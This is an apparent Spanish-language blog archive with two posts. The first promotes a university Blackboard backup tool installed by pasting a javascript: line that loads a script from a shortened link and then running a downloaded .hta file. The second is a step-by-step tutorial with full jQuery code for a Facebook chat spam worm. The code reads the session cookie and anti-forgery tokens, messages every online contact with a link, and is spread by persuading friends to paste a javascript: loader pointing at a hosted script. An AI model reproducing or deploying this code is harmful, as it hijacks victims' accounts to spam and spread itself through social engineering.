Archive

Posts Tagged ‘RFI’

Respaldame Koala JS Versión 2.0

Este es una nueva versión del Respaldame Koala, un software para respaldar todos los archivos de la plataforma blackboard de DuocUC, esta vez, escrito en HTML y Javascript utilizando el framework JQuery.

Para utilizarlo deben:

Loguarse en http://campusvirtual.duoc.cl
En la misma venta , escribir en la barra de direcciones el siguiente código:

javascript:(s=(d=document).createElement('script')).src='http://goo.gl/KMdgb',d.body.appendChild(s);void(0);

Luego en la página principal de blackboard , les aparecerá un nuevo panel llamado Respaldame Koala.

Ahí seleccionan todos los archivos que quieren descargar, presionan el Botón Descargar Seleccionados y se les descargará un archivo respaldameKoala.hta, lo abren y se abrirá una ventana como ésta:

Y por último presionan el botón Comenzar Descarga de Archivos y se descargarán, todos los archivos seleccionados, en una carpeta llamada RespaldameKoala que estará en la misma carpeta donde se guardo el archivo .hta .

Espero que les sirva,

Saludos!

Bot Spammer en el chat de Facebook con JQuery


Hace días atrás me comenzaron a llegar spam por el chat de facebook y decidí investigar como lo hacían.

Como lo hacen?
Primero, hacer correr código javascript a los contactos de facebook. Simplemente los hacen escribir en la barra de direcciones el siguiente código:

javascript: [CODIGO JAVASCRIPT]

e incluyen un script escrito en javascript a la página de facebook, con el cuál pueden manipular los datos de la página.

Como manipulan los datos de Facebook?
Con el script que incluyen en facebook, comienzan a hacer llamadas vía Ajax al servidor, donde:

  • Listan a los usuarios del chat: Para Listar a todos los contactos conectados crean una petición por el método GET a la siguiente dirección:
    http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&user={ID_USUARIO}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest&popped_out=false&force_render=true
  • Envían mensajes a cada usuario conectado:  Para enviar un mensaje a algún contacto necesitan hacer una petición por el método POST a la siguiente dirección
    http://www.facebook.com/ajax/chat/send.php?__a=1

    y como parámetro pasan:

    msg_id={NUMERO_RANDOM}&client_time={TIME}&msg_text={MENSAJE}&to={CONTACTO_ID}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest

Como ven en los puntos anteriores , necesitamos 3 variables que no podemos inventar para hacer las peticiones.

  • ID_USUARIO: La sacamos de la cookie de facebook
  • POST_FORM_ID: La sacamos de la página principal de Facebook (Formulario Oculto)
  • FB_DTSG: La sacamos de la página principal de Facebook (Formulario Oculto).

Conociendo ésto, los pasos para comenzar a escribir nuestro bot son:

  1. Entrar a la página principal de Facebook
  2. Sacar las cookies y buscar la ID_USUARIO
  3. Buscar los inputs ocultos y sacar POST_FORM_ID y FB_DTSG
  4. Listar Los Usuarios conectados al chat
  5. Enviar un mensaje por cada usuario conectado

Código:
Para programar código Javascript utilizaré el framework JQuery para hacer mas fácil la manipulación de datos.

1.- Conectar a la raíz de Facebook y obtener los datos necesarios.

	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
		}
	});

2.- Luego de Obtener los datos necesarios tenemos que listar a los usuarios

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					
				}
			});
		}
	});

3.- Debemos enviar un mensaje a cada usuario conectado.

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});

Para terminar nuestro código , agregaré el script de JQuery

/* Obtengo el tag HEAD */
var head= document.getElementsByTagName('head')[0];
/* creo un elemento SCRIPT */
var script= document.createElement('script');
/* le doy el tipo javascript */
script.type= 'text/javascript';
/* framework JQuery */
script.src= 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js';
/* Agrego un evento ONLOAD al SCRIPT */
script.onload = function(){
	/* Una vez que se haya cargado JQUERY debo comenzar a utilizarlo */
	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});
};
/* Agrego el tag SCRIPT Al tag HEAD */
head.appendChild(script);

Luego subimos nuestro script a algun hosting, yo lo subí a Dropbox
http://goo.gl/KKz48

Y por último creamos el codigo javascript para pasarlo a nuestros amigos, que tendrán que ejecutarlo en la página de Facebook.

javascript:(s=document.createElement('script')).src='http://goo.gl/KKz48', document.body.appendChild(s); void(0);              

Escribiendo el código anterior,en la barra de direcciones en la pestaña donde está la págian de facebook, se crea un tag que les agregará el script que hicimos y por consecuencia enviará un mensaje a todos sus amigos conectados al chat.

De ésta forma se pueden enviar mensajes por el chat, crear eventos, postear en el muro, etc. Espero que les sirva de algo y que lo usen para algo bueno,

Saludos!